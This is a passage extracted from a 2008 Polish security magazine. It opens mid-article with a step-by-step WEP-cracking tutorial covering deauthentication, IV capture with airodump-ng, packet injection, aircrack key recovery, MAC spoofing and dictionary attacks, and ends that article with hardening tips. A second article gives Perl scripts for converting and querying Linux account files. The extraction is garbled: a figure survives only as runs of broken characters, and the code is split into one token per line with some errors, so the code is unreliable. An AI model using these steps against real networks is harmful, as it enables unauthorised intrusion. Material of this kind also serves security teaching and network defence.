aktywnym lub pasywnym) wybieramy 
cel ataku. Jeśli sieć ma ukryty SSID (2), 
konieczne będzie rozłączenie klienta 
przez wysłanie ramki deautentyfikacji. 
Klient przy próbie ponownego 
połączenia wyśle ESSID sieci, który 
zostanie podsłuchany przy pomocy 
sniffera. 

Mając już ESSID sieci, przystępujemy 

do zebrania odpowiedniej liczby pakietów 
(3). Warto więc wybrać sieć, w której 
przepływ danych jest odpowiednio duży. 
Jeśli zbierzemy dostateczną ilość pakietów 
z wektorami (3b) IV, możemy przystąpić do 
łamania klucza WEP (program Aircrack). 
Jeśli nie, sztucznie zwiększamy ruch w sieci 
wstrzykując dodatkowe pakiety programem 
Aireplay (3c). Mając złamany klucz WEP 
(4), próbujemy podłączyć się do sieci (5). 
Jeśli sieć ma włączone filtrowanie adresów 
MAC, najpierw podglądamy snifferem 
(6) (np. Wireshark) adresy MAC klientów 
łączących się z AP. Po rozłączeniu klienta 
zmieniamy nasz MAC na adres sprzętowy 
klienta (7). 

Jeśli dalej nie możemy podłączyć 

się do sieci, nadajemy swojemu 
komputerowi statyczny adres IP (8) 
(uzyskany np. podczas sniffowania 
pakietów). Po tych operacjach 
powinniśmy uzyskać dostęp do sieci (9).

Całość ataku można podzielić na 

etapy:

•   wybór celu [1],
•   zbieranie wektorów inicjujących IVS [2],
•  łamanie klucza [3].

Ad. 1

Na początkowym etapie 

przeprowadzamy skanowanie sieci, aby 
zobaczyć, jakie sieci są w naszym zasięgu. 
Możemy tu korzystać z różnych narzędzi, 
najprostsze to iwlist (Listing 1).

Narzędzie wyświetla podstawowe 

informacje o identyfikatorze sieci ESSID, 
adresie MAC punktu dostępowego 
BSSID, kanale pracy, poziomie sygnału 

Rysunek 4.

 Kolejne kroki ataku na sieć WiFi

��

�����������������
��������������

��������������������������������������

��������������

���

���

�����������������

�����������������

����

������������

������������
�������������

������

���

���

������������
�������������

��������

�����������

�����������

������

���

���

��������������

���������������

���������������

�������

�����������

��������������

���

���

������������

�������������

����������������

��������

��������������

��������������

����������������

����������

���

���

���������������

�������������

�����������������

����������������

����������

����������������

�������������������

�������������������������

���������������

���������������

������

���

����������

��������

�������

���

���������������

���������������

��������������

����������������������������������
�������������������

����������������������������������������������

�����������

��

background image

20

 

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

21

 

ŁAMANIE WIFI

HAKIN9 

9/2008

oraz dozwolonych prędkościach 
transmisji.

Mając te dane, przystępujemy do 

wyboru celu – a więc interesującej nas 
sieci.
Ad. 2

W tych działaniach przydatny będzie 

pakiet Aircrack-ng. Składa się on z 3 
programów:

•   airodump – służy do wykrywania 

sieci i przechwytywania pakietów,

•  aircrack – służy do łamania klucza 

WEP,

•  aireplay – służy do wstrzykiwania 

pakietów celem przyspieszenia 
procesu łamania klucza.

Najpierw należy stworzyć nowy interfejs 
logiczny pracujący w trybie monitor. Jest to 
odpowiednik trybu promiscuous w sieciach 
Ethernet. 

Interfejs ten będzie stworzony na bazie 

fizycznego interfejsu, w tym przypadku wifi0. 

Dokonamy tego przy pomocy polecenia:

wlanconfig ath2 create wlandev wifi0 

wlanmode monitor

KROK5

W artykule wykorzystałem kartę z 
chipsetem Atheros 5005G ze sterownikami 
Mad WiFi.

Mając już stworzony interfejs ath0, 

zdolny do przechwytywania pakietów, 
przystępujemy do przechwycenia pakietów 
kierowanych nie tylko do naszego interfejsu:

Airodump-ng -c 5 -bssid 00:1B:11:

4C:25:BD -ivs -w 
output ath2

gdzie:

•   `-c <liczba> – oznacza kanał, na 

którym będziemy nasłuchiwać,

•   -b <MAC> – jest adresem MAC punktu 

dostępowego,

•   --ivs – flaga ta oznacza, że będziemy 

przechwytywać tylko wektory 
inicjujące,

•  -w – zapis wektorów inicjujących do 

pliku.

Po chwili program pokaże stacje dołączone 
do sieci oraz liczbę przechwyconych 
pakietów.

Widzimy, że do AP przyłączone 

są dwie stacje: pierwsza to stacja 
przechwytująca pakiety, a druga to 
autoryzowana stacja kliencka. Nawet, 
gdyby sieć miała ukryty ESSID, to po 
przechwyceniu odpowiedniej ilości ramek 
autoryzacyjnych byłby on uwidoczniony 
przez Airodump.

KROK6

Ad. 3

Po przechwyceniu odpowiednio 

dużej liczby pakietów pozostaje nam 
uruchomić aircrack-ng i odczytać klucz 
WEP.

KROK7

Analizować ruch w sieci WiFi można 
także za pomocą sniffera, jednak musi 
mieć on opcję poprawnego dekodowania 

Rysunek 5.

 Interfejs ath2 ustawiony w tryb monitor

Rysunek 6.

 Airodump podczas procesu zbierania pakietów

Rysunek 7.

 Końcowy etap pracy programu Aircrack – złamanie klucza WEP

background image

20

 

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

21

 

ŁAMANIE WIFI

HAKIN9 

9/2008

ramek WLAN. Przykładem takiego 
analizatora jest Wireshark, posiadający 
ponadto funkcje filtrowania pakietów, 
dekodowanie ramek oraz pokazujący 
statystyki ruchu.

KROK8

Atak słownikowy na WEP

Istnieje duża szansa na złamanie klucza 
WEP, jeśli jest on domyślny [5] lub też 
jego treść to po prostu coś znaczące 
słowo. Można wtedy przeprowadzić atak 
słownikowy, korzystając z narzędzia 
wepattack [6]. Niektóre AP wymuszają 
ustawienie klucza WEP (ASCII) 

składającego się z samych liter a-z oraz 
A-Z, długość ciągu znakowego musi 
wynosić dokładnie 5 lub 13 znaków ASCII. 
Zawęża to w pewnym stopniu zawartość 
słownika.

PODSUMOWANIE

Sieci WiFi przeżywają swój rozkwit. 
Artykuł miał za zadanie przedstawić 
słabości tego typu sieci oraz sposoby, 
na jakie mogą one zostać wykorzystane 
przez hakera. Ważne jest zatem 
prawidłowe skonfigurowanie oraz 
zabezpieczenie sieci bezprzewodowej. 
Zaleca się korzystanie z szyfrowania 
WPA-PSK. Poniżej przedstawię kilka 

rad dla administratorów sieci WiFi, 
pomagających dobrze zabezpieczyć sieć 
bezprzewodową.

•  zmień domyślne hasło administratora 

dla routera WiFi,

•   jeśli router posiada taką możliwość, 

zmień domyślny adres routera 
192.168.0.1 na inny, np. 192.168.13.1,

•   zmień domyślny ESSID sieci 

(np. D-Link) na inny. Może to 
bowiem być wskazówką, że 
administrator sieci nie zmienił hasła 
producenta. W przypadku urządzeń 
wykorzystujących WEP, wyłącz 
rozgłaszanie ESSID,

•  włącz szyfrowanie WEP/WPA,
•  stosuj trudne od odgadnięcia hasła 

WEP,

•  od czasu do czasu testuj 

bezpieczeństwo swojej sieci,

•  podłączaj AP zawsze za firewallem,
•  włącz filtrowanie adresów MAC,
•  ograniczaj moc AP do niezbędnej, 

ulokuj AP na środku pomieszczenia,

•  wyłącz AP na czas dłuższej 

nieobecności w mieszkaniu,

•  wyłącz wbudowany serwer DHCP,
•  aktualizuj firmware AP/routera.

Techniki tu przedstawione nie należą 
do specjalnie trudnych, jednak gdy 
administrator zastosuje co najmniej 
kilka z nich, to potencjalny haker będzie 
musiał poświęcić wiele czasu na 
złamanie zabezpieczeń takiej sieci, czyli jej 
kompromitację.

Rysunek 8.

 Analizator sieciowy Wireshark (dawniej Ethereal) z nałożonym filtrem pakietów

W Sieci

• 

Rekord przesyłu danych w sieci WiFi – http://hacking.pl/pl/news-6918-Pobito_rekord_przesylania_danych_na_odleglosc_w_technologii_Wi_
Fi.html,

• 

Opis algorytmu WEP – http://www.cyberbajt.pl/cyber.php?get=raport,377,4,379,

• 

Instytut Inżynierów Elektryków i Elektroników – http://www.ieee.org,

• 

Bezpieczeństwo sieci bezprzewodowych, Ballinsky, Miller, Sankar – Wydawnictwo MIKOM, Warszawa, 2005 r.,

• 

Lista domyślnych ESSID, haseł oraz adresów IP Access Pointów różnych producentów – 

 

http://wirelessdefence.org/Contents/DefaultWIFISettings.htm,

• 

Narzędzie Wepattack – http://www.wepattack.sourceforge.net.

Rafał Lysik

Autor jest administratorem systemu w polskim oddziale 

słowackiej firmy z branży elektronicznej. Na co dzień 

zajmuje się serwisami internetowymi, rozwiązaniami 

e-commerce, pisaniem skryptów.Programuje w 

językach C++, JavaScript, PHP, Python.Jego pasją jest 

kryptografia.Jest zwolennikiem wolnego oprogramowania 

oraz powszechnego dostępu do Internetu.Prowadzi 

serwis www.doctor.programuj.com.

Kontakt z autorem: doctor@o2.pl

background image

22

 

POCZĄTKI

HAKIN9 9/2008

P

roblemem administratora systemu 
najczęściej bywają użytkownicy. To 
właśnie ta grupa ulega najczęstszym 

zmianom i przetasowaniom. Zmieniają się hasła, 
loginy, parametry kont itp. Póki system zawiera 
kilka lub kilkanaście kont, problem ten nie jest 
aż tak zauważalny, jednak co dzieje się gdy tych 
kont zaczyna przybywać i mamy do czynienia 
z dziesiątkami, a nawet setkami? Odpowiedź 
nasuwa się sama – czas zakasać rękawy, 
zaprzęgnąć do pracy Perla i stworzyć kilka 
narzędzi, które będą część zadań wykonywały 
za nas.

Co warto, czego nie warto – czyli 

najtrudniejszy pierwszy krok

Na początku należy się poważnie zastanowić 
nad strukturą całego systemu. Oczywistym jest, 
że w większych systemach mamy zwykle jedną 
maszynę, na której przechowywane są dane 
o kontach i wiele maszyn-klientów, na których 
poszczególni użytkownicy wykonują swą pracę. 
Należałoby zatem stworzyć na początek skrypt 
odpowiedzialny za pobieranie i aktualizację 
plików konfiguracyjnych z serwera na lokalna 
maszynę administratora. Nie należy ryzykować 
utratą danych podczas pracy na żywych plikach. 
Warto też składować te dane w jakiejś bardziej 
rozsądnej postaci, którą Perl będzie mógł łatwo 
przerabiać. Format XML wydaje się wprost 
idealny do tego celu. Tworząc najpierw strukturę 
hashową, możemy potem w prosty sposób 

BARTOSZ KAMIŃSKI, 

SŁAWOMIR ORŁOWSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jak wykorzystać język Perl w 

pracy administratora,

jak rozwiązać podstawowe 

problemy z zarządzaniem 

kontami użytkowników,

jak rozsądnie wykorzystać 

możliwości drzemiące w XML i 

jak połączyć je z językiem Perl.

CO POWINIENEŚ 

WIEDZIEĆ

znajomość języka Perl na 

średnim poziomie,

podstawowa znajomość formatu 

XML,

podstawy pisania skryptów pod 

systemem Linux,

podstawowa znajomość 

mechanizmów przechowywania 

informacji o kontach w systemie 

Linux. 

przerobić wszystko do formatu składowego, czyli 
XML (Listing 1).

Konwersja w ogólnym zarysie opiera się na 

3 krokach. Najpierw czytamy plik konfiguracyjny 
liniami (jak wiadomo każda linia to informacje 
o danym użytkowniku) oraz dzielimy wiersz na 
pola (separatorem jest oczywiście „:”). Następnie 
tworzymy hasha, którego kluczami będą loginy 
kolejnych użytkowników, a ich wartościami inne 
tablice asocjacyjne. Te inne hashe to nic innego 
jak zapisy poszczególnych użytkowników, a 
zatem klucze to nazwy kolejnych pól (login, pass, 
homedir, etc.), a ich wartości to dane wyciągnięte 
z danej linii pliku np. passwd. W ten oto sposób 
otrzymaliśmy tablicę tablic (a dokładniej 
hasha hashy), w której mamy zawarte dane o 
wszystkich użytkownikach systemu. Kolejny krok to 
zasadnicza konwersja. Tworzymy nową strukturę 
XML o znaczniku głównym powiedzmy <users/> 
oraz znacznikach <user/> dla poszczególnych 
użytkowników. Naszą poprzednią strukturę 
przerabiamy teraz według przepisu: Każdy wpis 
w nadrzędnej tablicy powoduje stworzenie 
wpisu <user/> w strukturze XML, elementy 
podrzędnej tablicy asocjacyjne zaś dają nam 

Stopień trudności

Administracja 

kontami w 

Linuksie

Często praca administratora systemu bywa żmudna i 

nieprzyjemna, dlaczego zatem sobie jej nie uprościć? Poniższy 

artykuł powinien nieco pomóc w tym zadaniu.

W Sieci

http://www.cpan.org – największe repozytorium 
modułów Perlowych. Jeśli potrzeba Ci narzędzi, a nie 
masz czasu żeby sam je napisać, poszukaj tutaj.

background image

23

 

ADMINISTRACJA KONTAMI W LINUKSIE

HAKIN9 

9/2008

parametry znacznika <user/>. W efekcie z 
przykładowego hasza:

   login1   =>   login=>wart1
         pass=>wart2
         home=>wart3
   login2   =>   login=>wart1

Otrzymujemy plik XML o postaci:

<users>
   <user login=”wart1” pass=”wart2” 

home=”wart3”/>

   <user login=”wart1” pass=”wart2” 

home=”wart3”/>

</users>

W kodzie z Listingu 1. wykorzystane są 
funkcje spoza skryptu (loadPasswd, dbCre
ateStructXML,dbSave
). Ich implementacja 
znajduje się w plikach bibliotek autorstwa 
Łukasza Cieśli, z których korzystaliśmy. 
Biblioteki te służą przede wszystkim do 
przerabiania pobranych danych do formatu 
XML. Jednakże nie są one jedynymi, 
które możemy użyć. W repozytorium 
CPAN znajduje się kilka innych modułów 
nadających się do tego celu (tak czy 
inaczej, większość z nich korzysta z funkcji 
XMLin oraz XMLout, będących składowymi 
modułu XML::Simple). Wystarczy wówczas 
dokonać tylko lekkiej modyfikacji głównego 
skryptu. Niemniej jednak część funkcji 
zawartych w bibliotekach użytych w skrypcie 
zamieszczam na Listingu 2.

Listing obejmuje jedynie te procedury, 

które były użyte w konwersji pliku passwd
Niemniej jednak procedury odpowiadające 
za konwersję pozostałych plików (shadow, 
group
) wyglądają analogicznie. Powyższe 
funkcje oczywiście należy wykesportować 
poza bibliotekę funkcją Exporter i 
odpowiednią zmienną globalną, ale 
uważam to za zadanie dosyć proste.

Informacja 

gwarantem sukcesu

Bardzo często administrator systemu 
spotyka się z problemem niepotrzebnych 
kont. Załóżmy, ze mamy do czynienia 
z systemem działającym w bazie 
szkoleniowej. Na bieżąco przybywa kont, 
ale jednocześnie spora część staje się już 
nieaktualna. Jak zatem sprawdzić, które 
konta można juz wyrzucić ? Najlepszym 
sposobem będzie sprawdzenie, którym 

kontom skończył się na przykład okres 
ważności. Nie jest to oczywiście jedyny 
przykład potrzeby natury informacyjnej 
– często choćby poszukujemy ludzi z jednej 
grupy systemowej albo chcemy sprawdzić 
czyje konta zostały zablokowane. Wówczas 
przydatnym narzędziem będzie niewątpliwie 
skrypt wyciągający dla nas dane o 
użytkownikach z plików konfiguracyjnych. 
Posiadając już gotową bazę w formacie 
XML zadanie to staje się stosunkowo 
łatwe. Otwieramy więc kolejne pliki z bazą 
użytkowników (passwd, shadow, group), a 
następnie konwertujemy je z powrotem do 
formatu hashowego. Dane w tej postaci są 
gotowe do użytku. Każdy musi jednak sam 
zdecydować, jakie informacje będą mu w 
przyszłości potrzebne. Poniżej prezentujemy 
procedury służące do uzyskania terminu 
ważności konta, czasu ostatniego 
logowania, przynależności do grup oraz 
wyszukiwania użytkowników należących 
do zadanej grupy. Poziom szczegółowości 
wyrzucanych danych jest zależny od 
użytych przełączników. Jeśli jeszcze ktoś 
miał wątpliwości, dlaczego zastosowaliśmy 

akurat Perl – to myślę, że na tym etapie 
powoli zaczyna się przekonywać, iż język ten 
dostarcza nam wielu przydatnych narzędzi i 
struktur do tego typu zadań (Listing 3).

Informacje te przede wszystkim mogą 

posłużyć nam do sprawdzania, którym z kont 
upłynęła ważność hasła lub też – które są 
zablokowane. Funkcjonalność i przydatność 
skryptów zależą jednak tylko i wyłącznie od 
fantazji administratora, gdyż tutaj pokazane 
zostały tylko wybrane fragmenty z plików 
konfiguracyjnych czy też wyniki użycia 
poleceń systemowych, a to tylko czubek góry 
lodowej. Wystarczą drobne dodatki, a skrypt 
może również dawać nam obraz np. kwoty 
dyskowej lub wielkości pamięci operacyjnej 
dostępnej dla użytkownika.

Cała zasada działania powyższego 

skryptu (podobnie, jak i innych) opiera się 
na odpowiednim wykorzystaniu struktury 
danych, na której pracujemy. Jako, że 
mamy do czynienia z hashami, wystarczy 
tylko wyciągnąć dane przypisane do 
odpowiedniego klucza (klucze oczywiście 
zależne są od pliku konfiguracyjnego, z 
którego dane zostały pobrane).

Listing 1. 

Kopiowanie i konwersja plików konfiguracyjnych na przykładzie passwd

my

 $

installDir

=

""

;

use

 

lib

 

""

;

use

 

DBxml

;

use

 

Error

;

use

 

TDB

;

use

 

Getopt

::

Long

 

qw

(:

config

 

no_ignore_case

);

GetOptions

(

'

c

:

s

=>

 \$

opt_c

,   #

parametr

 

kopiowania

 

i

 

katal

. ź

r

.

        'P' 

=>

 \$

opt_P

,      #

parametr

 

kopiowania

 

passwd

      '

s

=

s

=>

 \$

opt_s

,   #

katalog

 ź

r

ó

d

ł

owy

      '

d

=

s

=>

 \$

opt_d

);

   #katalog docelowy

sub

 

Copy

()

 

{

   

if

 

(

$

opt_c

 

==

 

1

)

{

$

opt_c

 

=

 

"/etc/"

;

}

   

if

 

(

defined

 $

opt_P

)

{

       $

source

 

=

 $

opt_c

.

"/passwd"

;

       $

source

 

=

s

/\/

\//\//;

       

my

 $

filename

 

=

 $

installDir

 . 

"/etc/passwd"

;

       `

cp

 $

source

 $

filename

`

;

    

}

}

sub

 

GetPass

()

 

{

   

if

 

(

defined

 $

opt_s

)

 

{

       $

opt_s

 

=

s

/

(

.

*)

$/$

1

\\/

;

   @

arrayPasswd

=

loadPasswd

(

"$opt_s"

.

"passwd"

);

   

}

   

else

 

{

   $

filename

 

=

 $

installDir

 . 

"/etc/passwd"

;

   @

arrayPasswd

=

loadPasswd

(

$

filename

);

   

}

   $

xmlPasswd

 

=

 

dbCreateStructXML

(

\@

arrayPasswd

,'

users

','

user

'

);

   

if

 

(!

defined

 $

opt_d

)

 

{

$

filename

 

=

 $

installDir

 . 

"/etc/xml/passwd"

;

}

   

else

 

{

$

filename

 

=

 $

opt_d

 . 

"passwd"

;

}

   

dbSave

(

$

xmlPasswd

, $

filename

);

}

background image

24

 

POCZATKI

HAKIN9 9/2008

Zwróćmy też uwagę na to, iż dosyć 

istotną kwestią jest w miarę intuicyjne 
nazwanie poszczególnych kluczy. Dzięki 
temu możemy definiować w skrypcie 
kolejne informacje do pobrania w bardzo 
szybki sposób.

Warto też zauważyć duże możliwości 

jakie dostarcza nam w tym miejscu 
wykorzystanie przełączników. Może nie 
widać tego na pierwszy „rzut oka”, jednak 
dodatek w postaci paru linijek kodu 
spowoduje, iż skrypt będzie nam dawał tylko 
i wyłącznie informacje nam potrzebne. W 
kodzie powyżej dostajemy pewną z góry 
określoną dawkę danych, lecz możemy 
spotkać się z sytuacją ze połowa tych 
informacji jest nam w danej chwili nie 
potrzebna. Odpowiednie zdefiniowanie 
przełączników pod własne potrzeby dam 
nam obraz jak oczekujemy.

W powyższym skrypcie pojawiają się 

kolejne procedury z bibliotek zewnętrznych, 

a zatem należałoby przybliżyć kilka z nich. 
Przede wszystkim pokażemy procedury 
dbRootArray oraz dbToHash, gdyż 
procedura dbLoad jest dosyć podobna do 
przedstawianej wcześniej dbSave (Listing 4).

Procedury z Listingu 4. są nam 

nieodzowne, gdyż cała praca skryptów 
opiera się na strukturach haszowych, do 
których Perl jest przystosowany. Można by 
było pokusić się o działanie bezpośrednie 
na danych XML, ale naszym zadaniem było 
ułatwianie sobie życia, a nie dalsza jego 
komplikacja. Z tego też faktu wygląd kodu 
niektórym Czytelnikom wyda się pewnie 
bzdurny i aż nadto uproszczony, ale należy w 
tym miejscu przyznać, iż do prostych zadań 
należy użyc jak najprostszych metod.

Kupą mości Panowie, kupą!

Dotychczas opisywaliśmy skrypty będące 
tylko otoczką tego, co naprawdę jest 
nam niezbędne. Jak najbardziej musimy 

posiadać narzędzia przygotowujące nam 
grunt do pracy oraz takie, które będą 
nam mówiły, kiedy i co należy zrobić 
– jednak istotą całego przedstawienia jest 
zarządzanie samymi kontami użytkowników. 
Ile to razy zdarza się żmudnie dodawać 
kilkunastu użytkowników, tworzyć im 
katalogi domowe, ustawiać lub też – o 
zgrozo – wymyślać hasła tymczasowe. 
Czas by z tym skończyć i użyć czegoś, co 
z przyjemnością zrobi to za nas. Fakt – nie 
unikniemy stworzenia pewnych danych 
wsadowych, bo przecież maszyna nie 
zgadnie, kogo chcemy dodać lub usunąć z 
systemu, ale o ile prościej jest stworzyć listę 
loginów niż kompletne konto? Na początek 
zaprezentujemy dodawanie pojedynczego 
użytkownika, a potem pewien niewielki 
dodatek, który spowoduje wywołanie reakcji 
łańcuchowej (Listing 5).

Kod ten odpowiada za dodanie 

pojedynczego konta użytkownika. Owszem, 
wygląda dosyć przerażająco na pierwszy 
rzut oka, ale w praktyce okazuje się 
bardzo skuteczny. Tworzy nam kompletne 
konto wraz z katalogiem domowym, 
wpisem do grupy, a nawet generacją 
hasła i zaszyfrowaniem go algorytmem 
md5 na potrzeby pliku shadow. Cały 
mechanizm – podobnie, jak poprzednio 
– opiera się głównie na odpowiednim 
manipulowaniem polami struktur danych. 
Na początku określiliśmy sobie klucze w 
tablicy @items, a następnie przerabiamy 
odpowiednie wpisy, by na końcu stworzyć 
hash z danymi nowego użytkownika, dodać 
go do tablicy takich hashy i zapisać do 
plików konfiguracyjnych. Tablice hashy 
są mechanizmem, który pozwala nam 
na wykorzystanie funkcji Add() w celu 
dodawania użytkowników masowo na 
bazie pliku listy (plik tekstowy o strukturze 
pliku passwd wystarczy jednak, iż zawiera 
on samą listę loginów pozostałe pola 
mogą pozostać bez wartości – liczy się 
tylko liczba pól. Jeśli chcemy by konto 
zostało utworzone z innym parametrem 
niż domyślny wystarczy w odpowiednim 
polu umieścić wartość parametru. Pola 
oczywiście tak samo jak w passwd są 
oddzielone znakiem ':').. Aby zrealizować 
seryjne dodawanie kont, należy wreszcie 
zamknąć całą procedurę dodającą w pętlę, 
np. 

while

, która będzie pracowała tak 

długo, aż nie dojdzie do końca pliku z listą 
użytkowników.

Listing 2. 

Część procedur użytych przy konwersji do formatu XML

use

 

XML

::

Simple

 

qw

(

XMLin

 

XMLout

);

sub

 

dbCreateStructXML

()

 

{

  

my

 

(

$

refArray

, $

rootTag

, $

itemTag

)

 

=

 @

_

;

  

my

 $

xml

=

{}

;

  $$

xml

{

'

rootTag

'

}

=

$

rootTag

;

  $$

xml

{

'

itemTag

'

}

=

$

itemTag

;

  

  $$

xml

{

'

struct

'

}

 

=

{

 

"$itemTag"

=>

$

refArray

 

}

 

;

    

  

return

 $

xml

;

 

}

sub

 

dbSave

()

 

{

  

my

 

(

$

xml

, $

fileName

)

 

=

 @

_

;

  

if

 

(

$

fileName

 

eq

 

"-"

)

 

{

*

OUTPUT

=*

STDOUT

;

}

  

else

 

{

open

(

OUTPUT

, '>'.$

fileName

 

)

 

or

 

die

 

errorStr

(

'

fsave

',$

fileName

);

  

}

  

print

 

OUTPUT

 

(

'

<

?

xml

 

version

=

"1.0"

 

encoding

=

"ISO-8859-2"

?

>

'.

"

\n

"

);

  

print

 

OUTPUT

 

(

XMLout

(

$$

xml

{

'

struct

'

}

,

RootName

 

=>

 $$

xml

{

'

rootTag

'

}

 

));

  

if

 

(

$

fileName

 

ne

 

"-"

)

 

{

close

(

OUTPUT

);

}

}

sub

 

loadTDB

()

 

{

  

my

 

(

$

fileName

, $

fields

, $

opt

)

 

=

 @

_

;

  

if

 

(

$

fileName

 

eq

 

"-"

)

 

{

*

INPUT

=*

STDIN

}

  

else

{

open

(

INPUT

, $

fileName

 

)

 

or

 

die

 

errorStr

(

'

fopen

',$

fileName

);

}

  

my

 @

items

 

=

 

();

     

  

while

(

my

 $

line

=<

INPUT

>)

{

    

chomp

(

$

line

);

    

my

 @

values

 

=

 

split

(

$$

opt

{

'

sep

'

}

,$

line

);

 

    

my

 

%

item

=();

    

for

(

my

 $

i

=

0

;

 $

i

<

@

values

;

 $

i

++)

{

      $

item

{

$

{

$

fields

}

[

$

i

]

}

=

$

values

[

$

i

];

            

    

}

        

    

push

 @

items

, \

%

item

;

  

}

        

  

if

 

(

$

fileName

 

ne

 

"-"

)

{

close

(

INPUT

);

}

  

return

 @

items

;

}

sub

 

loadPasswd

()

 

{

  

my

 $

fileName

 

=

 

shift

 @

_

;

  

  

return

 

loadTDB

(

$

fileName

,

[

qw

(

login

 

password

 

userID

 

groupID

 

description

 

homeDir

 

shell

)]

,

{

 

sep

 

=>

 ':' 

}

)

}

background image

ADMINISTRACJA KONTAMI W LINUKSIE

25

 

HAKIN9 

9/2008

background image

26

 

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

27

 

HAKIN9 

9/2008

Skrypt wykorzystuje dodatkową 

bibliotekę Date::Simple, pobraną z zasobów 
CPAN. Użyta jest ona do obliczania czasu 
od początku epoki. Oczywiście jest to tylko 
jedna z wielu możliwości na drodze do 
uzyskania potrzebnego na wyniku.

W skrypcie pojawia się odwołanie do 

kilku funkcji, które mają swoje określone 
zadania, takie jak: generacja hasła, 
szyfrowanie md5, sprawdzanie, czy 
dodawany użytkownik nie widnieje już 
w systemie czy też tworzenie katalogów 
domowych (Listing 6).

O ile potrzeba istnienia funkcji 

generującej i szyfrującej nie budzi pytań 
po co to?, o tyle zdarzyło mi się usłyszeć 
takie pytanie odnośnie funkcji zapisującej 

do pliku hasła w formie nie zaszyfrowanej. 
Otóż, chciałbym zauważyć, że jeśli tworzymy 
konto użytkownika (a już tym bardziej 
grupę kont), wówczas naszym zamiarem 
jest wygenerowanie losowego hasła, które 
będzie ważne powiedzmy 7 dni i będzie 
możliwe zalogowanie się przy jego użyciu 
na dane konto m.in. w celu jego zmiany. 
Żeby tego dokonać, warto byłoby znać 
samo hasło, a nie tylko jego hash md5.

Kwestia samego szyfrowania jak nie 

trudno zauważyć została tutaj rozwiązana 
w najprostszy, a jednocześnie najbardziej 
logiczny sposób jaki przychodzi do głowy. 
Zwykle system narzuca nam pewne 
rygorystyczne zasady co do postaci hasła: 
odpowiedni zestaw znaków (najczęściej 

małe i wielkie litery + cyfra, często wymagany 
jest też znak specjalny), minimalna 
długość (standardy mówią zwykle o min. 
6 znakach, lecz dla pewności ustalmy ich 
liczbę na 8). A zatem ustalamy sobie listę 
znaków alfabetycznych, numerycznych 
oraz listę znaków specjalnych. Generujemy 
8 znakowe hasło funkcją 

random()

 na 

bazie liter. Następnie musimy zapewnić, 
by w tak oto powstałym ciągu wystąpiła 
przynajmniej jedna cyfra i jeden znak 
specjalny. Korzystając z funkcji 

substr()

 

podmieniamy losowo wybrane elementy. 
W najgorszym układzie może zdarzyć się, 
że druga podmiana (na znak specjalny) 
trafi na miejsce cyfry, jednak nawet w tej 
sytuacji system nie powinien nam odrzucić 

Listing 3. 

Procedury „wyciągające” informacje o użytkownikach

   

if

 

(

defined

 $

opt_d

)

{

$

xmlpwd

 

=

 

dbLoad

(

$

opt_d

 . 

"/passwd"

,'

user

s

','

user

'

);

}

   

else

{

$

xmlpwd

 

=

 

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

',

'

user

'

);

}

   

my

 $

arruserpwd

 

=

 

dbRootArray

(

$

xmlpwd

);

   

our

 $

hashpwd

 

=

 

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

   

if

 

(

defined

 $

opt_d

)

{

$

xmlgrp

 

=

 

dbLoad

(

$

opt_d

 . 

"/group"

,'

group

s

','

group

'

);

}

   

else

{

$

xmlgrp

 

=

 

dbLoad

(

"$installDir/etc/xml/group"

,'

groups

',

'

group

'

);

}

   

my

 $

arrusergrp

 

=

 

dbRootArray

(

$

xmlgrp

);

   

our

 $

hashgrp

 

=

 

dbToHash

(

$

arrusergrp

,

[

'

groupName

'

]

,''

);

if

 

(

defined

 $

opt_d

)

{

$

xmlsh

 

=

 

dbLoad

(

$

opt_d

 . 

"/shadow"

,'

users

',

'

user

'

);

}

   

else

{

$

xmlsh

 

=

 

dbLoad

(

"$installDir/etc/xml/shadow"

,'

users

','

user

'

);

}

   

my

 $

arrusersh

 

=

 

dbRootArray

(

$

xmlsh

);

   

our

 $

hashsh

 

=

 

dbToHash

(

$

arrusersh

,

[

'

login

'

]

,''

);

sub

  

ExpDate

()

 

{

   $

user

 

=

 

shift

;

   

my

 $

exp

 

=

 

""

;

   

foreach

 $

login

 

(

keys

 

%

$

hashsh

)

{

      

if

 

(

$

{

$$

hashsh

{

$

login

}

[

0

]

}{

'

login

'

}

 

eq

 $

user

)

 

{

         

if

 

(

defined

 $

{

$$

hashsh

{

$

login

}

[

0

]

}{

'

sp_expire

'

}

)

 

{

$

exp

 

=

 

localtime

(

chomp

(

$

{

$$

hashsh

{

$

login

}

[

0

]

}

{

'

sp_expire

'

}

));

}

         

else

{

$

exp

 

=

 

"Never"

;

}

      

}

   

}

print

 

"Exp Date:

\t

"

, $

exp

"

\n\n

"

;

}

sub

 

LastLogin

()

 

{

   $

user

 

=

 

shift

;

   $

last

 

=

 `

last

 $

user

|

head

 

-

2

`

;

   $

last

 

=

s

/\

n

//

;

   

print

 

"Last Login:

\t

$last

\n\n

"

;

}

sub

 

GetGroup

()

 

{

   $

user

 

=

 

shift

;

   $

primgrp

=

""

;

      

foreach

 $

login

 

(

keys

 

%

$

hashpwd

)

{

      

if

 

(

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

login

'

}

 

eq

 $

user

)

 

{

         $

group

 

=

 $

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

groupID

'

}

;

         

foreach

 $

name

 

(

keys

 

%

$

hashgrp

)

{

            

if

 

(

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupID

'

}

 

eq

 $

group

)

{

               $

primgrp

 

=

 $

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupName

'

}

;

            

}

            

else

{

            

iif

 

(

defined

 $

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

userList

'

}

)

{

                  

if

 

(

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

userList

'

}

 

=

/$

user

/

)

{

                     

push

 

(

@

secgrp

,

", "

.$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupName

'

}

);

}

                 

}

            

}

       

}

    

}

   

}

print

 

"UNIX Groups:

\t

"

, $

primgrp

;

if

 

(

defined

 @

secgrp

)

 

{

print

 @

secgrp

"

\n\n

"

;

}

else

 

{

print

 

"

\n\n

"

;

}

}

sub

 

GetLogins

()

 

{

   

my

 @

users

=();

   

if

 

(

defined

 $

opt_g

)

{

